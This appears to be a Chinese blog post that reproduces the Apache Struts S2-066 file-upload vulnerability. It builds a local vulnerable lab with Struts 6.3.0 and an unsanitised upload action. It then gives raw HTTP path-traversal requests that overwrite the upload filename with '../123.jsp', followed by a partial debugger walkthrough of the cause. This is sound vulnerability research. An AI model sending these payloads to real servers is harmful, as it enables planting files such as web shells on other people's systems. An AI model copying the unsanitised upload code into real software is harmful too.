Strut2-66漏洞从搭建到复现到原理
0x0 创建JavaEE环境
使用idea创建JavaEE项目,添加Strut2的依赖
点击右上角创建新项目
下一步,依赖项只选择一个Servlet就行了,版本JavaEE8
然后完成打开即可,为了方便把根目录调整一下
点击右上角的tomcat编辑配置
默认的话是这样的
如果警告没有部署标记工件,点击修正选择第二个strut266:war explode就可以
修改一下这些地方,注意端口不要冲突
点击右上角运行,等tomcat启动后会自动打开网站,或者自己去请求,注意是http不是https,有的你输入
http://localhost:9999/会自动转成https://localhost:9999/ 注意!不行就换一个浏览器或百度上有解决办法。
0x01搭建漏洞环境
到这里没有毛病已经完成了第一步,第二步配置strut2依赖和上传代码
添加struts2拥有漏洞的漏洞版本
受影响版本
- 2.5.0 <= Apache Struts <= 2.5.32
- 6.0.0 <= Apache Struts <= 6.3.0
不受影响版本
- Apache Struts >= 2.5.33
- Apache Struts >= 6.3.0.2
这里用6.3.0来复现:
在pom.xml里添加strut2 6.3.0,然后加载Maven即可
<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-core</artifactId>
<version>6.3.0</version>
</dependency>
如果提示Could not find artifact org.apache......
可以试一下清理后重新编译
完成后,创建一个UploadAction
代码为:
package com.example.strut266;
import com.opensymphony.xwork2.ActionSupport;
import org.apache.commons.io.FileUtils;
import org.apache.struts2.ServletActionContext;
import java.io.*;
public class UploadAction extends ActionSupport {
private static final long serialVersionUID = 1L;
private File upload;
// 文件类型,为name属性值 + ContentType
private String uploadContentType;
// 文件名称,为name属性值 + FileName
private String uploadFileName;
public File getUpload() {
return upload;
}
public void setUpload(File upload) {
this.upload = upload;
}
public String getUploadContentType() {
return uploadContentType;
}
public void setUploadContentType(String uploadContentType) {
this.uploadContentType = uploadContentType;
}
public String getUploadFileName() {
return uploadFileName;
}
public void setUploadFileName(String uploadFileName) {
this.uploadFileName = uploadFileName;
}
public String doUpload() {
String path = ServletActionContext.getServletContext().getRealPath("/")+"upload";
String realPath = path + File.separator +uploadFileName;
try {
FileUtils.copyFile(upload, new File(realPath));
} catch (Exception e) {
e.printStackTrace();
}
return SUCCESS;
}
}
在resources目录下创建struts.xml,注意修改class指定成自己的类的路径
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<package name="upload" extends="struts-default">
<action name="upload" class="com.example.strut266.UploadAction" method="doUpload">
<result name="success" type="">/index.jsp</result>
</action>
</package>
</struts>
在web.xml当中配置好filter
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>*.action</url-pattern>
</filter-mapping>
以上漏洞环境搭建完成,搭建完成之后点击右上方运行即可。
0x02漏洞复现
payload:
POST /upload.action HTTP/1.1
Host: localhost:9999
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 237
Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: text/plain
123123
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN--
上传成功后可以在target\strut266-1.0-SNAPSHOT\upload目录下看到上传的文件
路径穿越payload1:
POST /upload.action HTTP/1.1
Host: localhost:9999
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 399
Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: text/plain
123
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="uploadFileName";
Content-Type: text/plain
../123.jsp
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN--
上传成功后可以在target\strut266-1.0-SNAPSHOT\目录下看到上传的文件穿越了上层目录
路径穿越payload2:
POST /upload.action?uploadFileName=../1234.jsp HTTP/1.1
Host: localhost:9999
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 234
Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: text/plain
123
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN--
0x03漏洞原理
先看一下UploadAction代码
定义的对应值:
剩下的一些是在框架已经帮我们填充好的,所以我们在执行方法的时候可以直接拿到这些值
首先我们要理清楚
1、我们从payload中可以看到本该是我们上传的文件名参数,被我们另一个请求的参数所污染并覆盖了
2、所以我们要分析污染的过程,为是什么会被污染?
3、文件上传的过程主要涉及到两个重要参数,以我的环境命名为例upload以及uploadFileName
先在doUpload方法处打上断点,并进行上传请求去触发
可以看到,该请求经过了很多的调用,这里总体可以分为三列,第一列是方法、第二列是类名、第三列是类名对应的包名,我们主要看中间的类名
可以看到调用该方法之前,通过了很多拦截器,我们的操作是文件上传,肯定跟文件上传拦截器相关
点击查看该拦截器,里面有很多的方法,我们点开他继承了抽象拦截器类AbstractInterceptor
看到抽象类下面有一个抽象方法,他既然继承了这个抽象拦截器,那么他就回去实现这个方法
我们在该处打个断点
再次调试,看到他停在了第一行代码,ActionContext ac = invocation.getInvocationContext();
我们往下执行,看他存在什么东西,这里面有我们请求的session 还有文件名参数等信息
再往下看,看到获取了contentType和inputName
继续跟进filename,可以看到正常情况下他会把上传的../1.txt编程1.txt,目录穿越就被阻止了
返回原先的代码可以看到fileName被设定为1.txt,这里是没有什么问题的,下面他又整了个操作
可以看到下面他会判断如果文件列表不为空就再创建几个列表
......
标签:uploadFileName,String,upload,Content,xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN,st From: https://www.cnblogs.com/mt0u/p/18036584